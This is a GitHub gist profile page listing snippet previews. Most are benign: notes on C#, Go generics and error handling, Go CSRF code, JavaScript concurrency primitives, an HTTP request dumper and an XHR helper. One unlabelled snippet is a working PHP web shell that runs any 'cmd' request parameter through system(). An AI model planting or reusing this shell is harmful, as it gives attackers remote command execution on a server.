Skip to content

Instantly share code, notes, and snippets.

View empijei's full-sized avatar
💭
for { Learn() }

Roberto Clapis empijei

💭
for { Learn() }
View GitHub Profile

The short story of my experience with C# is that it is like Java should have been.

Cross platform

C# has now gotten to allow programmers to build cross-platform applications, includin games. Unity engine has made it possible to write games form most platforms in a memory-safe nice-to-use language.

IDE support

VS used to be the best possible IDE to work with and intellisense was just perfect and lightning fast for C#. Debugging was a flawless experience.

package csrf
import "errors"
// This is just an example on how to reduce redundant code in Go
// Original file: https://github.com/gofiber/csrf/blob/dde96da6711a2cc01709a66730c2e16328b22047/main.go
// csrfFromExtractor returns a function can be used to bind to a parameter name to extract a csrf token from a Ctx.
func csrfFromExtractor(errMessage string, extractor func(c *fiber.Ctx, param string) string) func(string) func(c *fiber.Ctx) (string, error) {
return func(param string) func(c *fiber.Ctx) (string, error) {
@empijei
empijei / waitgroup.js
Created March 26, 2019 22:07
waitgroup.js
class WaitGroup {
constructor(initial, opt_sab) {
this._sab = opt_sab || new SharedArrayBuffer(4);
this._wg = new Int32Array(this._sab);
this.add(initial);
}
static connect(wg) { return new WaitGroup(0, wg._sab) }
add(n) {
let current = n + Atomics.add(this._wg, 0, n);
if (current < 0) {
@empijei
empijei / semaphore.js
Created March 22, 2019 18:41
semaphore.js
class Semaphore {
constructor(size, opt_sab) {
this._sab = opt_sab || new SharedArrayBuffer(4);
this._sema = new Int32Array(this._sab);
this._size = size;
}
static connect(sema) {
return new Semaphore(sema._size, sema._sab);
@empijei
empijei / go2-generics-syntax-fb.md
Last active October 24, 2018 05:11
Feedback on Go2 Generics proposal: syntax

As Liam Breck said, changing the function signature by adding more round parentheses would make it very hard to read it. I personally found something like

func (/*receiver*/)Foo(/*types*/)(/*args*/)(/*return tuple*/){

c,d := a.Foo(Type)(e,f)

to be way too complex compared with the usual go syntax.

WAT: let's talk about javascript

Short preface:

The first version of JavaScript was completed in ten days in order to accommodate the Netscape Navigator 2.0 Beta release schedule.

Keep in mind that well structured languages usually take a little bit more than that.

What follows is a small piece of the aftermath of the rushed job.

NOTE: There is more madness in destroy all software's wat video, which I suggest watching before reading this post.

@empijei
empijei / errhandle.md
Last active August 17, 2018 14:48
Considerations on error handling

Considerations on error handling

The impact

The first language I used to build something more than just school exercises was VisualBasic.Net. There are some good things and bad things in it, but I don't want to discuss that today. I switched to C# after that and Java and Python after it.

This is to say that basically up until three years ago I knew one and only one way to handle errors which is expressed in the following pseudocode:

try:
	# dostuff
except: # or catch
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);
echo "</pre>$cmd<pre>";
die;
}
?>
@empijei
empijei / ssrfCheck.go
Created April 17, 2017 18:23
dump http requests
package main
import (
"fmt"
"log"
"net/http"
"net/http/httputil"
"os"
)
@empijei
empijei / tinyxhr.js
Last active April 14, 2017 14:14 — forked from shimondoodkin/tinyxhr.js
tiny xhr snippet to do XMLHttpRequest
// license: public domain - original author: Shimon Doodkin - https://gist.github.com/4706967
//
// tinyxhr("http://site.com/ajaxaction",function (err,data,xhr){ if (err) console.log("goterr ",err,'status='+xhr.status); console.log(data) });
// tinyxhr("http://site.com/ajaxaction",function (err,data,xhr){ if (err) console.log("goterr ",err,'status='+xhr.status); console.log(data) },'POST','value1=1&value2=2');
// tinyxhr("http://site.com/ajaxaction.json",function (err,data,xhr){ if (err) console.log("goterr ",err,'status='+xhr.status); console.log(data); console.log(JSON.parse(data)) },'POST',JSON.stringify({value:1}),'application/javascript');
// cb - a callback function like: function (err,data,XMLHttpRequestObject){ if (err) throw err; }
//
function tinyxhr(url, cb, method, post, contenttype, auth, timeout) {
var requestTimeout, xhr;